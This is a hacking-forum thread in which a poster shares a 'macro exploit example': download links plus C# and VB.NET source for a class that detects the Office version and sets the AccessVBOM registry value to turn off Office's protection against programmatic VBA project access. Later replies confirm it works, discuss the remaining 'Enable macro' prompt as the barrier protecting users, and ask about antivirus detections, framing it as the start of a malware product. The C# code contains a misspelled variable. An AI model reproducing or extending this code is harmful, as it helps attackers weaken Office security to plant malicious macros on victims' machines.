

Forum:[Hack Forums](#)

Thread: [Office macro exploit example](#)

itcorp - December 22, 2018, 2:36 pm

In previous posts we mentioned macro office macro exploit,so I made a minimal example how could it be done by using Office Interop Objects.

I have to note that this is not a final product but an example which will serve as a basis for you to start.

VB version <https://www.mediafire.com/file/dpudbeliirgmivv/MacroExploitExampleVB.rar/file>

c# version <https://www.mediafire.com/file/fj9qae36xedjxdj/MacroExploitExample.rar/file>

gigajew - December 22, 2018, 9:12 pm

Exception: Programmatic access to Visual Basic Project is not trusted.

itcorp - December 23, 2018, 12:27 am

(Dec 22, 2018 10:12 PM)gigajew Wrote: [\[CITE\]](#) Exception: Programmatic access to Visual Basic Project is not trusted.

My mistake i was have trust setting enabled in office and I did not see a small mistake in the code in security class.

I forwarded the version of office wrong,here's the correction of security class

Code namespace MacroExploitExample.TrustSecurity

```
{
    public class Security
    {
        #region Office Versions

        private int GetWordVersion()
        {
            Word.Application app = new Word.Application();
            switch(app.Version)
            {
                case "11.0":return 2003;
                case "12.0":return 2007;
                case "14.0":return 2010;
                case "15.0":return 2013;
                case "16.0":return 2016;
                default:
                    return 0;
            }
        }
    }
}
```

```

private int GetExcelVersion()
{
    Excel.Application app = new Excel.Application();
    switch (app.Version)
    {
        case "11.0": return 2003;
        case "12.0": return 2007;
        case "14.0": return 2010;
        case "15.0": return 2013;
        case "16.0": return 2016;
        default:
            return 0;
    }
}

private string SetRegByVersion(int version)
{
    switch(version)
    {
        case 2003:
            return "11.0";
        case 2007:
            return "12.0";
        case 2010:
            return "14.0";
        case 2013:
            return "15.0";
        case 2016:
            return "16.0";
        default:
            return null;
    }
}

#endregion

private void SecuritySettings(int version,OfficeApp officeapp,int value)
{
    using (var key =
Microsoft.Win32.Registry.CurrentUser.OpenSubKey($"Software\\Microsoft\\Office\\{SetRegByVersion(version)}\\{officeapp}\\Security", true))
    {
        if (key != null)
        {
            key.SetValue("AccessVBOM", value);
            key.Close();
        }
    }
}

public void SetSecuritySettings(Exploit exploitType,int trustValue)
{
    switch(exploitType)

```

```

    {
        case Exploit.Excel:
            SecuritySettings(GetExcelVersion(), OfficeApp.Excel, trustValue);
            break;
        case Exploit.Word:
            SecuritySettings(GetWordVersion(), OfficeApp.Word, trustValue);
            break;
    }
}

#region Singleton pattern

private static Security instancia;

private Security()
{

}

public static Security Shared()
{
    if (instanca == null)
        instancia = new Security();
    return instancia;
}

#endregion

}
}

```

Code Public Class Security

```

Private Function GetWordVersion() As Integer
    Dim app As Word.Application = New Word.Application()

```

```

    Select Case app.Version

```

```

        Case "11.0"
            Return 2003

```

```

        Case "12.0"
            Return 2007

```

```

        Case "14.0"
            Return 2010

```

```

        Case "15.0"
            Return 2013

```

```

        Case "16.0"
            Return 2016

```

```

        Case Else
            Return 0

```

```

    End Select

```

```

End Function

```

```

Private Function GetExcelVersion() As Integer

```

```

    Dim app As Excel.Application = New Excel.Application()

```

```

Select Case app.Version
    Case "11.0"
        Return 2003
    Case "12.0"
        Return 2007
    Case "14.0"
        Return 2010
    Case "15.0"
        Return 2013
    Case "16.0"
        Return 2016
    Case Else
        Return 0
End Select
End Function

```

```

Private Function SetRegByVersion(ByVal version As Integer) As String
    Select Case version
        Case 2003
            Return "11.0"
        Case 2007
            Return "12.0"
        Case 2010
            Return "14.0"
        Case 2013
            Return "15.0"
        Case 2016
            Return "16.0"
        Case Else
            Return ""
    End Select
End Function

```

```

Private Sub SecuritySettings(ByVal version As Integer, ByVal officeapp As OfficeApp, ByVal
value As Integer)
    Using key =
        Microsoft.Win32.Registry.CurrentUser.OpenSubKey($"Software\Microsoft\Office\{SetRegByVersion(
version)}\{officeapp}\Security", True)

        If key IsNot Nothing Then
            key.SetValue("AccessVBOM", value)
            key.Close()
        End If
    End Using
End Sub

```

```

Public Sub SetSecuritySettings(ByVal exploitType As Exploit, ByVal trustValue As Integer)
    Select Case exploitType
        Case Exploit.Excel
            SecuritySettings(GetExcelVersion(), OfficeApp.Excel, trustValue)
        Case Exploit.Word
            SecuritySettings(GetWordVersion(), OfficeApp.Word, trustValue)
    End Select

```

End Sub

Private Shared instance As Security

Private Sub New()

End Sub

Public Shared Function [Shared]() As Security

If (instance Is Nothing) Then

instance = New Security()

End If

Return instance

End Function

End Class now it will work fine

gigajew - December 23, 2018, 7:41 am

Okay I got it working now that you changed it. The user is still protected by a little pop-up windows saying 'Enable macro'. But I do thank you for this, I've never seen one of these sources.

itcorp - December 23, 2018, 8:04 am

(Dec 23, 2018 08:41 AM)gigajew Wrote: [\[CITE\]](#) Okay I got it working now that you changed it. The user is still protected by a little pop-up windows saying 'Enable macro'. But I do thank you for this, I've never seen one of these sources.

I'm glad that you resolved the problem, as I said this is a minimal example nothing fancy and thanks for the positive comments.

itcorp - January 28, 2019, 3:00 pm

(Jan 28, 2019 03:09 PM)fec-ri.muhyayel Wrote: [\[CITE\]](#) Hmm look like good example I will examine your source code thanks go ahead, but keep in mind that there are plenty of things to add in order to be product

alexvenutelli7 - April 21, 2019, 12:08 pm

Hi, Please tell me, What detections it has ?

itcorp - April 21, 2019, 1:11 pm

(Apr 21, 2019 12:08 PM)alexvenutelli7 Wrote: [\[CITE\]](#) Hi, Please tell me, What detections it has ?

It's the source code, you can compile it and scan it I myself did not scan it so I can not provide you this information. But keep in mind that this is just an example it's not a final product.

All the best